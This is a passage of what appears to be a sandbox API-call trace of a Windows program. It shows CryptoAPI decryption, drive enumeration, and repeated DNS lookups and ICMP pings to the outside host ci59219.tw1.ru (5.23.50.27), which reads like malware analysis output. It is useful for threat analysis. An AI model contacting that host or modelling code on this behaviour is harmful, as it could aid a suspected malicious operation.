dwFlags=0x1, phKey=0x1dd9c8d0 | out: phKey=0x1dd9c8d0*=0x1b27bee0) returned 1 [0189.436] CryptContextAddRef (hProv=0x1b1d2470, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.436] CryptContextAddRef (hProv=0x1b1d2470, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.436] CryptDuplicateKey (in: hKey=0x1b27bee0, pdwReserved=0x0, dwFlags=0x0, phKey=0x1dd9c8c0 | out: phKey=0x1dd9c8c0*=0x1b27bfc0) returned 1 [0189.436] CryptContextAddRef (hProv=0x1b1d2470, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.436] CryptSetKeyParam (hKey=0x1b27bfc0, dwParam=0x4, pbData=0x26cdd48*=0x1, dwFlags=0x0) returned 1 [0189.540] CryptSetKeyParam (hKey=0x1b27bfc0, dwParam=0x1, pbData=0x26cdcf8, dwFlags=0x0) returned 1 [0189.540] CryptDestroyKey (hKey=0x1b27bee0) returned 1 [0189.540] CryptReleaseContext (hProv=0x1b1d2470, dwFlags=0x0) returned 1 [0189.540] CryptReleaseContext (hProv=0x1b1d2470, dwFlags=0x0) returned 1 [0189.540] CryptDecrypt (in: hKey=0x1b27bfc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26ce0e8, pdwDataLen=0x1dd9ca20 | out: pbData=0x26ce0e8, pdwDataLen=0x1dd9ca20) returned 1 [0189.540] CryptDecrypt (in: hKey=0x1b27bfc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26ce3c8, pdwDataLen=0x1dd9ca10 | out: pbData=0x26ce3c8, pdwDataLen=0x1dd9ca10) returned 0 [0191.848] CryptDestroyKey (hKey=0x1b27bfc0) returned 1 [0191.848] CryptReleaseContext (hProv=0x1b1d2470, dwFlags=0x0) returned 1 [0191.848] CryptReleaseContext (hProv=0x1b1d2470, dwFlags=0x0) returned 1 [0192.271] CloseHandle (hObject=0x988) returned 1 [0192.709] GetLogicalDrives () returned 0x4 [0192.711] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1dd9d810, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0192.711] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0192.711] CoUninitialize () Thread: id = 240 os_tid = 0x1188 [0187.986] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.987] RoInitialize () returned 0x1 [0187.987] RoUninitialize () returned 0x0 [0188.229] CoUninitialize () Thread: id = 241 os_tid = 0x1318 [0188.186] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0188.186] RoInitialize () returned 0x1 [0188.186] RoUninitialize () returned 0x0 [0188.405] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28ca70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28f760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0188.552] FreeAddrInfoW (pAddrInfo=0x1b28ca70*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28f760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0188.560] IcmpCreateFile () returned 0x1b25d4e0 [0189.125] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d14a010 [0189.126] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280250 [0189.126] IcmpSendEcho2 (in: IcmpHandle=0x1b25d4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280250, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d14a010, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d14a010) returned 0x1 [0189.325] LocalFree (hMem=0x1b280250) returned 0x0 [0189.326] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c9b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e320*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0189.537] FreeAddrInfoW (pAddrInfo=0x1b28c9b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e320*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0189.537] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280250 [0189.538] IcmpSendEcho2 (in: IcmpHandle=0x1b25d4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280250, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d14a010, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d14a010) returned 0x0 [0189.595] LocalFree (hMem=0x1b280250) returned 0x0 [0189.595] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28cb30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e300*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0189.597] FreeAddrInfoW (pAddrInfo=0x1b28cb30*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e300*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0189.597] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280250 [0189.597] IcmpSendEcho2 (in: IcmpHandle=0x1b25d4e0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280250, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d14a010, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d14a010) returned 0x1 [0189.736] LocalFree (hMem=0x1b280250) returned 0x0 [0195.324] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28bdb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e100*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0195.329] FreeAddrInfoW (pAddrInfo=0x1b28bdb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28e100*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0195.329] IcmpCreateFile () returned 0x1b25dc00 [0195.331] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1c9080 [0195.332] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2041f0 [0195.332] IcmpSendEcho2 (in: IcmpHandle=0x1b25dc00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2041f0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1c9080, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1c9080) returned 0x1 [0195.489] LocalFree (hMem=0x1b2041f0) returned 0x0 [0195.489] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c170*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28daa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0195.492] FreeAddrInfoW (pAddrInfo=0x1b28c170*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28daa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0195.492] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2042e0 [0195.492] IcmpSendEcho2 (in: IcmpHandle=0x1b25dc00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2042e0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1c9080, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1c9080) returned 0x1 [0195.791] LocalFree (hMem=0x1b2042e0) returned 0x0 [0195.791] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28bfb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28dfc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0195.972] FreeAddrInfoW (pAddrInfo=0x1b28bfb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28dfc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0195.972] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2040a0 [0195.972] IcmpSendEcho2 (in: IcmpHandle=0x1b25dc00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2040a0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1c9080, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1c9080) returned 0x1 [0196.127] LocalFree (hMem=0x1b2040a0) returned 0x0 [0201.376] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c8f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28de20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0201.384] FreeAddrInfoW (pAddrInfo=0x1b28c8f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28de20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0201.385] IcmpCreateFile () returned 0x1b25d5a0 [0201.566] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1dfc20 [0201.567] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b204310 [0201.567] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b204310, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1dfc20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1dfc20) returned 0x1 [0201.970] LocalFree (hMem=0x1b204310) returned 0x0 [0201.971] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c2f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28dbc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0201.975] FreeAddrInfoW (pAddrInfo=0x1b28c2f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28dbc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0201.975] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2040a0 [0201.975] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2040a0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1dfc20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1dfc20) returned 0x1 [0202.460] LocalFree (hMem=0x1b2040a0) returned 0x0 [0202.460] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1b28c7b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28eee0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0202.462] FreeAddrInfoW (pAddrInfo=0x1b28c7b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28eee0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0202.462] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b204520 [0202.462] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b204520, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1dfc20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1dfc20) returned 0x1 [0202.905] LocalFree (hMem=0x1b204520) returned 0x0 [0208.063] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dab80*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28eb60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0208.070] FreeAddrInfoW (pAddrInfo=0x1d1dab80*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28eb60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0208.070] IcmpCreateFile () returned 0x1b25d5a0 [0208.273] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1e3c30 [0208.273] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280160 [0208.273] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280160, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x1 [0208.714] LocalFree (hMem=0x1b280160) returned 0x0 [0208.714] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dded0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28ec80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0208.717] FreeAddrInfoW (pAddrInfo=0x1d1dded0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28ec80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0208.718] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b27ff20 [0208.718] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b27ff20, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x1 [0209.101] LocalFree (hMem=0x1b27ff20) returned 0x0 [0209.102] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dde10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28edc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0209.106] FreeAddrInfoW (pAddrInfo=0x1d1dde10*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b28edc0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0209.106] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280640 [0209.106] IcmpSendEcho2 (in: IcmpHandle=0x1b25d5a0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280640, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x1 [0209.546] LocalFree (hMem=0x1b280640) returned 0x0 [0214.712] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1ddc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227f80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0214.723] FreeAddrInfoW (pAddrInfo=0x1d1ddc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227f80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0214.723] IcmpCreateFile () returned 0x1d1f5a70 [0214.949] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1e3c30 [0214.949] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b280610 [0214.949] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5a70, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b280610, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x1 [0215.274] LocalFree (hMem=0x1b280610) returned 0x0 [0215.275] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1de310*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227ee0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0215.277] FreeAddrInfoW (pAddrInfo=0x1d1de310*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227ee0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0215.277] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2800a0 [0215.277] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5a70, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2800a0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x1 [0215.556] LocalFree (hMem=0x1b2800a0) returned 0x0 [0215.556] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1de490*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227f00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0215.559] FreeAddrInfoW (pAddrInfo=0x1d1de490*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b227f00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0215.559] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1b2805e0 [0215.559] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5a70, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1b2805e0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1e3c30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1e3c30) returned 0x0 [0215.900] LocalFree (hMem=0x1b2805e0) returned 0x0 [0221.148] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd810*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b228300*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0221.155] FreeAddrInfoW (pAddrInfo=0x1d1dd810*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b228300*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0221.155] IcmpCreateFile () returned 0x1d1f5590 [0221.330] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1d1f7d60 [0221.330] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6a80 [0221.330] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5590, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6a80, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0221.754] LocalFree (hMem=0x1d1e6a80) returned 0x0 [0221.755] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1ddbd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b2283a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0221.758] FreeAddrInfoW (pAddrInfo=0x1d1ddbd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b2283a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0221.758] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e6a50 [0221.758] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5590, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e6a50, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0222.162] LocalFree (hMem=0x1d1e6a50) returned 0x0 [0222.162] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1de0d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b2283a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0222.166] FreeAddrInfoW (pAddrInfo=0x1d1de0d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1b2283a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0222.166] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d1e68d0 [0222.166] IcmpSendEcho2 (in: IcmpHandle=0x1d1f5590, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d1e68d0, RequestSize=0x20, RequestOptions=0x1df9df40, ReplyBuffer=0x1d1f7d60, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1d1f7d60) returned 0x1 [0222.626] LocalFree (hMem=0x1d1e68d0) returned 0x0 [0227.776] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1df9ded8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1df9de20 | out: ppResult=0x1df9de20*=0x1d1dd8d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, 